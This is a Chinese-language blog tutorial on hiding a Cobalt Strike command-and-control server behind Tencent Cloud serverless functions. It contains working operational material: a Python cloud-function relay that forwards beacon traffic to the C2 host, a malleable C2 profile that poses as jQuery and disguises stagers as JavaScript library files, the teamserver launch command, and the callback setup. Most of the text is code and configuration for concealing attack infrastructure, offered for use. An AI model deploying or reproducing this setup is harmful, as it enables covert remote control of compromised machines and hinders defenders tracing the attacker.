隐藏C2服务器的手法有很多,如:
- 域前置
- CDN
- 第三方代理软件(heroku)
- 云函数
配置云函数
这里先介绍云函数了,
云函数的创建参考上一篇文章:http://www.xpshuai.cn/2022/06/13/%E5%88%A9%E7%94%A8%E4%BA%91%E5%87%BD%E6%95%B0%E9%9A%90%E8%97%8FWebshell%E7%9C%9F%E5%AE%9EIP/,
只是代码部分略有不同:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
|
点击API服务名:
点击编辑:
路径修改为/
,点击下一步:
配置如下,点击完成:
配置cs
配置CS的profile文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
{
set keystore "cobaltStrike.store"; //生成的cs证书名
set password "123456"; //自己设置的密码
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get
{
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server
{
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
|
开启cs teamserver
1
|
./teamserver vpsip password c2.profile
|
Note:
上线地址 需要去掉http://
和:80
取service-miuk9icj-1309081727.bj.apigw.tencentcs.com
创建监听
成功上线,可以看到外部IP第一栏是不断变化的,也就是隐藏了我们C2服务器
附:
删掉测试机器上的恶意exe:
1
2
3
4
5
6
|
# 查找进程
tasklist /svc |findstr XXX.exe
# 根据pid杀进程
taskkill /T /F /PID 9718
# 根据进程名杀进程
taskkill /f /t /im XXX.exe
|
云函数隐藏C2原理
马er -> 腾讯云函数api -> py函数 -> CS服务端
CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)